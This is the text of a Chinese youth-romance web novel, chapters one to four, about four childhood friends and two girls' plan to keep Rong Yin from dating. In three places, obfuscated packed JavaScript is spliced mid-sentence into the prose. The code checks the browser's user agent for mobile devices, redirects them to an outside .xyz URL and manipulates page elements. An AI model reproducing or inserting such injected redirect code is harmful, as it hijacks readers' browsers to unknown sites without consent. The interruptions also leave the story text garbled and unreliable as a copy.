《阻止容吟恋爱计划[青梅竹马]》 1. 第一计划 头顶,空调冷风丝丝缕缕地渗入发间,耳畔,唠叨如绵绵细雨般无休无止。 在办公室待了近十分钟,只为一起讨论国庆黑板报内容的元子衿和简悠悠交换了一个心照不宣的眼神。 班主任孟美兰女士是真的啰嗦,办公室空调的制冷效果也是真的好。 刚开学军训那会儿,两人和初中时的班主任不期而遇,站在树荫下叙旧的场景恰好被路过的孟美兰撞见。孟美兰留了心,转头一打听,了解到她们是过去班里办黑板报的黄金搭档。 要说直升有什么弊端,那就是过往的一切都是公开的秘密,自此,班级的黑板报就成了她俩的专属舞台。 孟美兰倒也讲究,非要给个宣传委员的头衔以示正式,元子衿初中三年被这个头衔绑得死死的,这回果断推给了简悠悠。 “另外啊,我觉得……” 本以为讨论即将结束,带有转折意味的词一经孟美兰说出,元子衿的眼神又黯淡了几分。 随后,她将略带哀怨的视线投向了窗外。 元子衿所站位置的四十五度角处,两个男生正有一搭没一搭地和对方聊着天,一罐可乐就横在了他们中间的栏杆上。 可乐大概是脱离冰箱的怀抱还不久,瓶身不断往外沁着水珠,须臾,底部已在栏杆面上留下一圈印记。 可乐被单手勾开,拉环圈在了食指上,林沉一喝了一口,搡了搡身旁人的胳膊。 “欸,待会儿我不跟你们一起回去了啊。” 天边落日熔金,余晖毫不吝啬地洒在了走廊上。 另一人本是背靠着栏杆,闻言偏过头,一张被造物主钟爱的脸被光线勾勒出了分明的轮廓,高挺的鼻梁落下侧影在右侧面庞上。 “找你女朋友?” 声音清洌,语气寡淡。 “昂,这不终于周末了嘛,得见面联络一下感情。” 林沉一嘴角难压,一双看狗都深情的桃花眼里满是笑意。 中考结束后的暑假,林沉一跟着自家表哥四处旅游,表哥是高考大捷,意为庆祝,他是中考失利,旨在疗伤。 出门前,佟女士饱含深意地笑看侄子,期许这个木头脑袋能在这趟旅途中开出一点桃花苗,可哪里能预料到,最后是自家儿子偷偷摸摸地盛开了一朵桃花。 容吟勾了下嘴角,似笑非笑的眼神里带着一丝漫不经心:“行,两百。” 林沉一脸色骤变,幽幽地瞟了容吟一眼:“又来?我们这关系,你也好意思?” “有什么不好意思,我们俩——” 容吟低头,视线在两人身上的校服流转,“不就是校友关系?” 说来也是巧,林沉一这桃花开得并不远,他女朋友所在的学校与一中只相邻两条街,不过等两人约会结束,再把对方送回家,这期间还是得耗费几个小时。要想在佟女士眼皮子底下安稳蹦迪,林沉一免不了需要容·别人家的孩子·吟帮忙打掩护。 上一次,他曾企图用十几年兄弟情唤起容吟泯灭的良知,进而免除这笔封口费,谁知对方只是轻飘飘地甩给他六个字——亲兄弟,明算账。 眼下,两人关系已骤降为校友,那还能说什么? 心不甘情不愿的林校友翻着白眼掏出手机转账,心里在小本本上给容吟狠狠又记了一笔。 迟早有一天,他要把这些账一次性收回! 容吟笑着点开消息框收账的功夫,身前走过一个女生。 对方目光羞怯,瞄了他一眼,只一眼,立马就挪开了视线。 “欸,咱俩要不挪个地儿,再搁这儿等着,那姑娘都要进去第三次了。” 明理楼的洗手间修在楼层中间,也就是楼梯拐角处,男在东,女在西,林沉一和容吟现在就是站在三楼的西侧楼梯口等人。 容吟将手机放回裤口袋,正准备拔脚,一道欢快的女声忽地从天而降。 “二位少爷,走吧,终于可以启程回宫了!” 他抬眸,眼眶里一下涌入两道倩影。 · 川流不息的马路前,红灯倒计时即将跳转颜色,和身旁元子衿一路手挽手热聊的简悠悠突然卡了壳似的止住话音。 半晌,只听她冷不防地来了句:“衿衿,我好像脱单了。” 元子衿嘴巴微张,大脑一时半会儿没能分解出对方这句话的意思。 “你让美孟给念晕头了?从早上出门到现在,我俩基本上就没离开对方超过五分钟以上,而且我记得你昨天才告诉我表白失败,请问——你是如何做到迅速脱单的?” 简悠悠同学不仅做到了迅速脱单,并且以肉眼可见的速度红了脸庞,以至于让从来没见过她这娇羞一面的元子衿目瞪口呆,完美地静止在了步履匆匆的人群背景板里。 “你们俩这是一时兴起,玩木头人游戏?” 容吟就跟在了驻足斑马线前两个女生的身后,他一开口,一个回过神来,一个匆匆和同伴耳语过后,小跑着穿过了马路。 元子衿下意识抬脚,准备追上去,手腕却被一股力道扣住。 她整个人被往后一带,后背猝不及防地撞进一个温热的胸膛,头顶砸下一道声音。 “晚了,等下一轮。” 看着简悠悠和一个瘦瘦高高的男生走到一起,饶是平时遇事波澜不惊的容吟也略微诧异了一下,毕竟她表白失败的事没瞒着他们。 不过感情的事向来难以说清,变数也最不可控,心思收回后,他就放在了眼前人身上。 “现在回家,还是怎么?” 容吟箍着元子衿的手腕没松,一边问,一边扬了扬。 元子衿的小情绪忽涌了上来,盯着简悠悠消失在人海中的背影,嘴巴噘得可以挂油壶。 “说好了今天一起去蛋糕店打卡的,简悠悠见色忘义!” 容吟用空着的另一只手扯了扯元子衿的脸颊,好笑道:“行了,我请你。” 元子衿瞬间雨过天晴:“说真的?” 虽然知道容吟不会开玩笑,但她还是给出善意提醒:“我这会儿可不高兴,会宰你的哦。” 正值绿灯再次亮起,容吟扬起唇角,领着她过马路。 “真的。公主,带路吧。” · 元子衿收藏的这家蛋糕店距离一中并不远,两人步行了大概十分钟。 店内的装修是奶油法式风,推门进去,三三两两地坐着几桌,随意找了桌空位后,容吟坐在了靠墙的沙发上。 “我点好了,你看看想吃什么,我先去趟洗手间。” 元子衿白天偷偷摸摸看手机的时候已经决定好了要尝试的品种,这会儿扫码点单一气呵成。 容吟接过元子衿的手机,眼神向她示意了下背在胸前的书包。 元子衿摇了摇头:“不用了,我要换那个,拿进去方便一点。” 两人从小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765401|174559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起长大,谈起生理期也不会刻意避讳。 容吟没有多问,只是点开屏幕里的购物车检查了一下。 元子衿从洗手间走出时,正撞上一个身穿外校校服的女生向容吟搭讪。 女生长得很漂亮,和容吟说话也大大方方,她停下脚步,靠在了墙边看热闹。 女生比他们后来,不知道容吟有女伴,加上对面的座位空空如也,没有任何表明这个位置已有人的迹象,所以她才抱着试试的心态上前搭话。 店里放着轻快的流行音乐,周围人的谈笑声此起彼伏,元子衿听不到容吟的回答,只是瞧着口型,嘴皮子似乎没动两下。 啧啧啧,他这拒绝人的水平真是日益见长。 也不知道这人到底喜欢什么样的女生? 谈起恋爱来又会是一副什么模样? “你跟人家美女说什么了?” 抱着书包坐下后,元子衿才反应过来椅子上新放了个垫子,虽然不够蓬软,但很好地隔绝掉了那点由塑料制品带来的冰凉。 “还不就是那几个字。” 容吟答完,恰好蛋糕和奶茶被服务员送上桌。 造型精致的蛋糕一下夺走元子衿的视线,她也懒得追问,从容吟那边拿过手机,找角度配合灯光,一顿咔咔拍照。 其实那会儿容吟确实没说几个字,他只是将手中元子衿的手机稍微侧转了一下,让女生顺利看到那blingbling泛着银光还带有蝴蝶元素的手机壳。 随后,一切尽在不言中。 · 回家的路上,元子衿没说话,默默地拎着一份打包好的蛋糕,偶尔侧眸打量一眼身旁的人。 男孩子的个头冲得快,明明刚上初中的时候她和容吟还能在这个项目上你争我夺几个来回,现下他已经变得又高又挺拔。 那张脸就更不用说了,眉眼精致,瞳若点漆,笑时闪动着熠熠的光辉,不笑时仿若清冷的月光。 性格嘛…… 虽然看起来有些散漫,但和男生相处融洽,对待女生温和有礼。 这么一通总结下来,还是个优质男呢。 许是因为林沉一和简悠悠相继脱单,元子衿不禁开始好奇,容吟会不会也有恋爱的想法? 如此想着,她不自觉地放慢了脚步。 “问你个事。” 容吟手插在兜里,步伐随意,闻言也只是轻飘飘地抛出一个字:“说。” 就这么直接问吗? 他会不会觉得有些莫名其妙? 而且……他会说真话吗? 元子衿脑子里的问号一大堆,也因为她专注走神,走在前面的人什么时候转身停下都不知道,直到她一头撞上,铺天盖地都是他身上的气息。 “啊。” 鼻尖撞到容吟的胸口,元子衿顶着酸爽的感觉踉跄后退,容吟怕她摔,眼疾手快地虚揽在身后。 “不是要问问题,走什么神?” 两人的视线猝不及防地撞在一起。 许是容吟眼中惯有的散漫此刻荡然无存,也许是元子衿被撞得还有些蒙,唇瓣微启,心底的疑问不受控制地滑了出来。 “你现在有谈恋爱的想法吗?” 话音落下,元子衿说不清容吟眼里一闪而过的光亮代表着什么,只听见随即落入耳中的声音带着几分玩味的笑意。 “所以——你这是在毛遂自荐?” 2. 第一计划 “想得美?你就是这么回复他的?” 问话间,简悠悠拆除了印有较具设计感Logo的打包盒,把里头的蛋糕取出,看清它的貌美后,眼眸亮了一瞬。 “你别说,他们家做得确实好看,不是照骗。” 元子衿本是要回答前一个问题,一下被带偏,点头附和:“是吧,我给你打包的时候都纠结了好久。” 简悠悠用叉子挑起上方最扎眼的那颗青提送入嘴里。 果肉破开,汁水充盈,两片唇瓣瞬时沾上了点点光亮。 “然后呢?所以他到底回答了你的问题吗?” 元子衿摇头:“没有。” 当时说完那三个字,就见容吟的眼神变得意味深长,虽然不知道她的解读是否正确,但她觉得受到了侮辱。 “你说他几个意思?难道是在质疑我的美貌!” 简悠悠的目光如同X射光一般扫过元子衿唇红齿白的一张脸,郑重给出结论:“不,是他觉得自己不配。” 元子衿颇为赞同地点了点头,和简悠悠相视一笑,击了个掌。 “欸,你说,容吟到底有没有恋爱的想法?” 两个女生双双盘腿坐在了房间的沙发上,元子衿向后一靠,从旁抓过一个抱枕放在怀里用力揉搓抓捏,好似那就是容吟的脸。 关于元子衿突然对容吟是否有想法恋爱一事感兴趣的缘由简悠悠已经得知,但答案,她还真不好说。 “这样吧,你就当作他有,那你打算怎么办?” 元子衿咬着唇没回答。 说实话,念头刚起的时候她也就是脑子一热想问问,但要说真怎么办,也没有主意。 元子衿忽而坐起,许是带了点莫名的躁意,语调愈发上扬:“不是,谈恋爱有这么好吗?怎么你们一个一个都上赶着?这也不是一只脚已经稳进了大学,突然就都放飞自我了?” 这番话要搁刚放暑假那会儿问简悠悠,她肯定义正严辞地站在元子衿这边,可偏偏就是这个暑假让她遇上了江煦,一头就这么栽了进去。 放在茶几上的两部手机同时亮起屏幕,各自收到了一条弹窗消息。 简悠悠腾不出手,抬起膝盖碰了碰元子衿,意思是:你打开看看。 点亮屏幕,元子衿毫不意外是林沉一在群里发了条消息,出乎意料的是,群名称并不是日常眼熟的“钰龙四人.帮”。 他们所住的这片楼盘叫钰龙湾,群名的名头便是由此而来。 最初因为背后含义,元子衿曾反对用“四人.帮”三字,但“小分队”太普遍且不能体现出人头个数,遂作罢。 弹出消息的是一个新拉的三人群,群名还未更改,显示的是三人各自的昵称。 刚刚收到的就是群里的第一条消息,林沉一扣的数字1。 简悠悠到元家不过十分钟,元子衿猜着林沉一应该也是刚结束今天的约会。 【青青子衿:你受什么刺激了,突然做出四个人有五个群这种背信弃义的事情?】 林沉一并没有回答,只是一味地甩图。 【凌晨一点:[图片]】 【凌晨一点:[图片]】 【凌晨一点:[图片]】 【……】 林沉一发来的照片都是同龄女生的精美自拍照,刷刷刷发过来七八张,一共三位女生。 元子衿不明所以,快速敲击键盘。 【青青子衿:你干嘛?】 【青青子衿:别不是动了不该有的心思!】 【青青子衿:先声明,我可不和渣男做朋友!】 林沉一知道元子衿是误会了,但他没急着解释,像这样难得有机会站在道德制高点批评他,对面却只有一个人发声,他猜着这俩人八成是在一块。 【凌晨一点:简悠悠怎么不说话?你俩一在块儿呢?】 “你说他这是发什么疯?” 元子衿一头雾水,将手机屏幕抬了抬,亮给简悠悠看。 “那谁知道?欸,你看他改名了。” 在简悠悠的提醒下,元子衿将视线放到了群名称上,只见刚刚的一长串诗经名句现下浓缩成了四个字——非诚勿扰。 疑惑的情绪带动着眉梢微微挑起,下一秒,林沉一发来的文字让人眼皮一跳。 【凌晨一点:容吟红鸾星动了,你说我给他介绍哪一个?】 · 容吟有没有红鸾星动没人知道,但林沉一的歪心思动了。 放学后,他紧赶慢赶一路跑到了附中门口,女朋友程珂然早早等在那里。 她身边还围着几个女生,有说有笑地陪她一块儿等着。 “抱歉抱歉,放学拖了会儿堂,你们等很久了吧,请你们喝奶茶赔罪可以吗?” 陪着程珂然的几个女生都和她关系要好,林沉一也见过知道名字,两方相处还挺融洽,所以几个女生并没有痛宰他,而是体贴地摆手道别,将空间留给了两人。 目送朋友离开后,程珂然被林沉一牵着往公交车站的方向走去。 “今天最后一节什么课啊,拖堂这么厉害?” “嗐,其实是等我那几个小伙伴去了,有两个被抓去了办公室喝茶。” 元子衿要是知道林沉一在外面这么造谣她,绝对第一个把他谈恋爱的事抖给佟女士。 “这样啊,那又得辛苦他们今天给你打掩护了。” 程珂然的声音带着笑,林沉一却是听着这番打趣深感肉疼,他咬牙道:“是啊,什么时候轮到我辛苦就好了。” 正逢两人上了公交,站在刷卡机前扫码,程珂然没听清林沉一的这句吐槽。 “你刚说什么?” “没什么,我说——” 电光火石间,几个关键词组合到了一起,林沉一的脑子里跳出一个想法。 对啊,如果轮到我打掩护,那我不就可以拿捏容吟了吗! 在座位上坐稳后,林沉一快速地头脑风暴了一番,冷不防开启新话题。 “宝宝,你那几个女生朋友有想恋爱的吗?” 没有条件就创造条件,没有对象就介绍对象,成了可以追回封口费,败了也就是维持现状,林沉一觉得自己的脑子不要太灵活。 “你问这个做什么?” 程珂然皱起眉,有些警惕性地看了林沉一一眼,他吓得忙不迭地解释:“你别乱想,我就是替我兄弟问问。” 程珂然知道林沉一有几个关系好的发小,不过见过面的只有容吟,那还是之前打掩护时匆匆见过一面。 “上次书店外的那个?”她的语气带着试探。 “昂。” 虽然只是匆匆一面,但显然容吟的颜值足以让人留下深刻印象。 “他那张脸,想谈恋爱应该很容易吧?” 程珂然的语气里充满了对容吟恋爱还需林沉一牵线一事的难以置信。 确实容易,毕竟从小学开始容吟就开启了收情书的路,但这人不开窍啊,不知道是没碰上喜欢的人还是压根儿就不感兴趣。 纵观他们相识十几年的岁月,容吟除开和元子衿简悠悠两个因为“青梅竹马”四个字捆绑销售的异性保持着正常交流外,和其他女生几乎难得同框五分钟以上。 所以林沉一想从程珂然这里牵线, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765402|174559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在自己约会的同时叫上两方一起,自然而然地将相处时间拉长。 他坚信,只有熟悉了才会有然后。 · 不知道程珂然私下和自己的小姐妹是如何解释的,林沉一到家的同时就收到了照片。 他点开对话框,新拉人建群,再转发照片,整个流程一气呵成。 男生看女生是一个角度,女生看女生又是另一个角度,为了提高牵线的精准性,林沉一需要熟悉容吟的两位青梅做下参考。 【凌晨一点:我倾向于一号女嘉宾,二位给点意见?】 视线从对话框上收回,元子衿撇着嘴没说话,面上的表情不太友好。 半晌后,简悠悠开了口:“怎么说?要不给容吟打个电话,探探口风?说不准就是林沉一这狗东西在剃头担子一头热呢?” 元子衿眼神直直地看向简悠悠:“我才不问,别回头真以为我要毛遂自荐!” “行行行,我来。” 简悠悠说打就打,摸到手机就点开了对话框,元子衿来不及拦她,一下急了:“不是,你想好怎么问了吗你就——” 要说这会儿容吟仿佛也和元子衿对着干似的,语音拨过去还没两秒已被接通,她嘴巴猛地一闭,声音一下戛然而止。 “喂?” 许是这会儿正在休息,容吟话音里透着点懒倦。 简悠悠瞟了一眼瞪圆双眼的元子衿,打开了外放,“喂,容吟啊,是我。” “怎么了?要问题?” 四人打小一起长大,彼此间几乎没什么秘密,自有了通讯设备以后,通常有点什么事也都是直接在群里招呼。 能让简悠悠私聊的情况包括不限于同元子衿聊闺房话,和林沉一吵架,以及向容吟问习题。 “是有个问题,但不是那个问题。” 话说完,简悠悠自己都觉得有些绕,也不怪容吟听后短促地笑了一声。 “行,你问。” “就那什么,你……现在有谈恋爱的想法吗?” 电话那头出现了短暂的沉默,再响起容吟的声音时明显带上了一丝调侃。 “今天挺稀奇啊,你们一个两个都问我这事。怎么着,民政局下达任务到我头上了?早了点吧?” 简悠悠怕说得含糊反而显得欲盖弥彰,转了转眼珠,刻意拿捏着情绪把话接上。 “就我过马路那会儿吧,回头看了一眼,这不是林沉一也陪女朋友去了,当时就剩了你俩站在那。我就想啊,要是哪天你也谈恋爱了,那站在那里的不就剩衿衿一个人了。” 简悠悠自认这套说辞逻辑满分,煽情到位,且符合她心思细腻的人设,就连元子衿听了都竖起个大拇指,没成想,对面的容吟却不按常理出牌。 “哦,那你就没想过剩我一个人在那儿?” 简悠悠一噎:“肯定不会啊!不是,兄弟你这矫情是认真的吗?” 也不知道这句话里哪个字眼取悦到了容吟,一旁光明正大听电话的元子衿明显察觉出他的心情一下变得飞扬。 “所以你就来打探我有没有那个心思?” “嗯哼。” 简悠悠等着容吟的答复,可几秒过去,除了微弱的电流声外,传回的只有一个老长的“唔”字发音,像是卖关子一样拖着时间,她忍不住催促:“这问题很难回答吗?” 卧室寂静,挂在墙上的时钟滴答滴答地响着,声音传到耳边,将两人的好奇心搅得七上八下。 “铛”的一声,整点的报时声响起,似是敲下指令一般,下一秒,容吟慢条斯理的回复飘了过来。 “随遇而安。” 3. 第一计划 随遇而安,意为顺从环境的变化而安然自得,结合林沉一目前的做法,这个回答可以进一步引申为:如果介绍到了合适的,容吟就会谈。 “啧,还以为是林沉一瞎起哄,没想到容吟也有点想法。” 稍微动点脑子,简悠悠就推断出了林沉一牵线的目的是拖人下水,只是没料到容吟的态度这么模棱两可。 “这种事肯定是他们男生私下交过心,我俩就不该多此一举再问他。” 林沉一大概也没想到元子衿的脑补能力这么强,将他尚未付诸实践的计划已经成功合理化。 “那怎么办?” 简悠悠再次问出关键问题。 元子衿没好气地开口:“就离了谱了,你们一个个非得谈恋爱,我才懒得想怎么办,我现在就去给你妈和佟姨打报告,先毁了你们各自的爱情,再把容吟恋爱的苗头掐死在襁褓!” 虽知道这是气话,简悠悠还是上前抱住了元子衿的胳膊撒娇:“哎呀,你忍心看我第一次的青春悸动就这么破碎掉嘛,你又不是不知道人家苦苦追求了两个月才走到今天。可怜可怜我,好吗?” “哼,就很过分!” 元子衿甩过头,拒绝接收简悠悠的眼电波发射。 四个人里三个人都去谈恋爱了,剩她一个很过分! 从小事事争先,没想到在这件事上垫了底,很过分! 想到刚刚简悠悠为套话编出的那个凄惨场景…… 啊啊啊啊,更过分了! “衿衿——” 简悠悠企图继续发动撒娇攻势,久未等到两人回复的林沉一又发来了消息。 【凌晨一点:组委会是不是讨论太久了?】 【凌晨一点:有人理理我吗?】 新群每多弹跳出一条消息,简悠悠都觉得是在往元子衿的小火苗上浇油,虽然林沉一人并不在场,但她是真想diss两句他这该死的眼力见儿! 她抄起手机,飞速地按着键盘,准备问候一下他大爷,手指一滞,又全部删除。 林沉一能牵线,她也能断线,这会儿元子衿不满容吟打算恋爱,拦着不就好了? 听说了简悠悠的想法后,元子衿有些犹豫。 “这样好吗?” “那你有更好的主意?” 或许因为思维一下连贯起来,虽是反问对方,简悠悠的脑子却变得愈发清明。 “你不高兴其实最大的原因就是容吟一旦恋爱,你就落了单,那么问题的根源就是要保证你不落单。 那会儿容吟不是在电话里反问我,怎么没想过最后留下的一个人是他?基于这种说法,也可以是你先于他成功恋爱。” 简悠悠撑着下巴又思忖了片刻,忽然挑眉,打了个响指。 “还有一种情况能让你们同时保证都不落单,那就是——你俩谈恋爱。” 简悠悠掰着手指头做出总结。 “综上所述,你有三个选项。” “比容吟先恋爱。” 她竖起大拇指。 “阻止容吟恋爱。” 她竖起食指。 “和容吟恋爱。” 她竖起中指。 最后,抬眼看向元子衿:“你——选哪个?” · 由于今天可供夜聊的话题比较丰富,简悠悠被留在了元家过夜。 之前两人时不时地也会这样,所以都有留存衣物,于是简悠悠就只和她妈打了通电话报备。 明后是周末,各科留了不少作业,元子衿分门别类地归置好,准备分三个阶段完成。 晚上解决最不费脑的英语,明天上午偏文,下午偏理,至于整个周日,她要留着放空。 元子衿写作业的时候很专注,习惯性地会把左手握成拳抵在唇边,若是遇上题目需要多费些心思,还会用指甲剪得圆润的大拇指戳上一戳。 简悠悠从卫生间洗漱完出来时,元子衿保持着一贯的姿势坐在书桌前写题,她单脚向前迈步,踮脚倾身望了一眼,还剩一篇阅读理解。 深谙彼此一旦开启话题,思绪就很难再回正轨,简悠悠没吱声,方向一转,走过去坐在了床边安静玩手机。 “搞定!” 将书本合上,元子衿一边关台灯,一边召唤简悠悠,随后,整个卧室的光源只剩下了床头的夜灯。 简悠悠和江煦的故事可以用八个字概括,一见留心,再见倾心。 虽然明面的过程确实是女追男,但元子衿看到今天的转折后觉得就是双向奔赴。 不过是在简悠悠捅破窗户纸的时候江煦还没完全想明白,也觉得不能在这个时期恋爱,但是被逼着“那就从此一刀切”后,人被降服。 “所以你这是以断为进?” 元子衿这么总结。 “可以这么理解。” 简悠悠也想不出其它能更好概括的词。 “好吧,那进入下一个议题。关于之前你给我的三个计划,首先排除第三项。” 或许是太过熟悉又一同陪伴这么多年的缘故,元子衿只是稍微想想和容吟站在一起谈恋爱的画面就觉得——太美,不敢想。 “唔……我也觉得。” 简悠悠表示赞同,换位思考一下,她只觉得毛骨悚然。 “相比较之下,我觉得第二项计划比较靠谱。” 虽然最开始提出时元子衿还有些犹豫,但有了其他选项的衬托,第二项计划简直完美到脱颖而出。 “确实,盲目地执行第一计划没有必要,我也只是把它摆出来以供选择。” 简悠悠话锋一转,又道:“但是!没有人规定只可以执行一项计划。” “什么意思?” 昏暗的视线里,元子衿蹙起了眉,这是她疑惑时的惯用表情。 简悠悠侧转过头:“你不觉得,第一计划和第二计划并不冲突吗?” 要说容吟从小学开始收情书,那细论起元子衿,更是从幼儿园起就接收各方爱的投喂。 男孩子是单方地送,女孩子是双方互换,她身边叽叽喳喳的笑声就从来没有停过,自然,后来读书时人气也不差。 小学的情书似乎只为单纯地表达喜欢,初中的告白才有了那么点儿想进一步交朋友的意思。 最初元子衿不知恋爱为何物,后来也不觉这事有意思,所以被发好人卡的都处成了朋友,哪怕只是点头之交。 “过去,面对向你告白的男生,因为内心一开始就没有进一步的打算,所以听完对方的长篇大论也毫无波澜。但如果之后你抱着可以观察接触的态度,没准就会碰到喜欢的人呢?毕竟心态不同,处理事情的走向也会不同。” 元子衿思忖良久,觉得简悠悠的话不无道理。 “那……对于第一计划,我也随遇而安。” 简悠悠伸出手:“祝你成功!” 元 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765403|174559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子衿回握住她:“谢谢。计划就从此刻开始实施,执行第一计划,并行第二计划。” 黑暗里,放在床头的手机亮了一下,简悠悠一下注意到。 “不用说,肯定是林沉一,消息估计就是他从女朋友那里探来的情报。”说着,她翻过身去摸手机。 林沉一发来的自拍照里有那么一两张是穿着附中校服所拍摄,结合他今天跑去约会这一行为,简悠悠猜着他是把主意打在了女朋友的朋友们身上。 那会儿盘算着要帮元子衿阻拦后,她就发了条消息询问这几个女生的基本情况,毕竟知己知彼,才好见招拆招。 在屏幕的光里,简悠悠眯着眼一目十行地扫过林沉一发来的文字,内容无外乎是那三位女生的星座性格以及爱好这类可供参考的相亲版信息。 “林沉一还真是问了挺多,不过要是指着这些信息问我,容吟可能喜欢哪一个我也说不出,毕竟还真没看过他和哪个女生走得近?” 简悠悠用手肘捣了捣此刻和她同床共枕的人,“你有印象吗?” 不多时,元子衿的脑海里浮现出一个人的身影。 “李沐晴,你还记得她吗?” 女生名字的出现像是牵连记忆的一根绳,顺藤摸瓜而上,画面不自觉地在脑海里铺展开来。 李沐晴是几人的初中同学,成绩一直名列前茅。 初二新增物理这门学科后,班里上游成绩的排名发生洗牌,有人扶摇直上,有人被拖后腿,李沐晴是前者,元子衿是后者,容吟不上不下,卡在了中间。 那个时候,李沐晴和容吟是同桌,有时课间物理老师不一定得空,有学霸在身旁,容吟没少和她讨论问题。 元子衿之所以记忆深刻,也是因为当时向她讨教过,只是学霸的思维太快,有点没跟上,所以往往还是坐在旁边的容吟帮着讲了第二遍。 “你这么一说,好像是哦。李沐晴本来就是那种下课扎在座位上不挪动继续学习的奋进选手,连带着容吟课间也在学,回了家还继续辅导你。我记得那段时间林沉一总跟我吐槽,说容吟是不是学物理已经走火入魔。” 容吟性格好,为人也大方,最初小学的时候也是能和女孩子友好相处的,只是后来她们找他借橡皮铅笔的次数太频繁,有甚者干脆不还,他琢磨出点什么后,就开始和异性保持距离,文具只带自用,备用就存放在元子衿的笔袋里。 “所以这么推断,他喜欢学霸?” 简悠悠做出推论。 元子衿也不确定:“但是咱们班的第一名,后来不又成了另一个女生?” 印象中,那个女生和容吟并没有什么交集。 简悠悠再次推论:“所以他喜欢物理学霸。” “可能是喜欢物理学霸,也可能是因为喜欢的人刚好是物理学霸。” 说完,元子衿才觉得不对劲:“什么呀,怎么就盖棺是喜欢了呢,不是在问他和谁走得近吗!” “没关系,我们只是私下讨论,传达出去的消息是否精准并不重要,相反,能误导人才最好。” 计划是阻止容吟恋爱,当然是对象与标准越偏离越好,虽然不知道那三位女生的成绩,但是简悠悠不信,她们当中会刚好有物理学霸这么邪门儿的事! 于是,当晚林沉一终于收到了一条与精准牵线容吟内容相关的消息。 【悠悠我心:容吟喜欢物理学霸,这三位美女有恰好是的吗?】 4. 第一计划 闹铃响起,心口一紧,元子衿瞬时从床上弹坐起。 将声音的来源快速切断,下床迎接崭新的周一。 走出家门时,晨光熹微,容吟已在外静候,元子衿不自觉地收紧五指,书包背带在掌心勒出浅浅的痕迹。 她心里怀揣着那两个计划,以至于看向容吟的眼神充斥着跃跃欲试,怕自己一开口会泄漏出什么,毕竟这人敏锐得可怕,于是只歪了歪头,用下巴点了点小区大门的方向。 这个周末两人没有见面,按照惯例,元子衿总会问几句“周末过得怎么样”之类的话,可今天却异常沉默。 容吟指间无意识地相互摩挲,心里隐隐发沉。 难道林沉一还是乱说话了? 昨天,林沉一跑来他家抄作业,临走时,也不确定这人是真知道了什么还是纯粹脑子抽风,突然问了句他是不是在搞暗恋? 那语气充满了试探,却又微妙的精准,精准到连他是“被动方”都猜中了,容吟当时就变了脸色:“你怎么知道的?” 要追溯怎么知道这件事,那起源还得是林沉一折腾出来的牵线,简悠悠给出容吟喜欢物理学霸这么抽象的回答,他自是不信,简悠悠又将具体的人物和事件搬出,他这才将信将疑。 林沉一原本只是随口试探,没想到容吟竟没否认,顿时一个“靠”字脱口而出,语气里满是难以置信。 他还算讲义气,没把线人供出来,只含糊说是自己观察所得。 两人心照不宣地绕着这个话题打转,对话中始终小心翼翼地避开那个最关键的名字。 直到最后,容吟才沉声叮嘱:“这事……别往外说。” 两人各怀心事,一路保持着沉默,直到四人.帮成功汇合,林沉一照例开启老生常谈的话题。 “吃啥?” 这几家人里,容吟的父母时常出差,不在家是家常便饭,简悠悠单亲,她妈忙活不赢,更逞论准备早餐。 最初四人还会轮流在元林两家吃过再去学校,后来觉得麻烦,索性结队在外觅食,毕竟学校外面的早餐摊丰富得眼睛都眨不过来。 元子衿提议:“要不嗦粉?” 简悠悠同意:“可以,用一点热情来开启一周的生活。” 饮品那些新式玩意儿她们会追求精致,但是嗦粉,只讲究芙城老口子的地道。 在不大不小的米粉店坐下,几人占了张方方正正的桌子,老板娘拿着抹布在上方擦过,前后没有任何变化,依旧油光发亮。 他们依次报出菜名,拆了筷子慢慢等候。 米粉店门前架着两口大锅,一锅浓汤,一锅沸水,带着热意的白雾混作一团,徐徐上升。 老板支起汤勺舀着浓汤下碗,里头的调料迅速融合,他抓起四份米粉装进不同的漏勺,烫了不到一分钟,一一取出倒进碗里,最后淋上一层各自点单的码子,色香味俱全。 “四碗粉来加料。” 一声吆喝,四人起身,端着各自的汤碗走到摆满小料的桌前。 最后一个不锈钢盆里装的是红灿灿的剁辣椒,元子衿和容吟分别舀了一勺,勺子接力给林沉一,容吟将两个碗端走。 林沉一的吃辣实力稍强,舀了三勺,简悠悠最甚,舀了四勺。 四勺剁辣椒下去和盖码的分量已经持平,似是记起自己曾经嘲讽简悠悠和江煦走不到一起就是因为口味不一,坐下后,林沉一问了句他们吃饭的分歧。 “如果是这样的独立餐,那就各顾各的,如果是一起点菜,那就各选一样喜欢的,再加一份青菜,就连火锅都有分鸳鸯,这有什么分歧?” 简悠悠丝毫不觉得这是件需要讨论的事情。 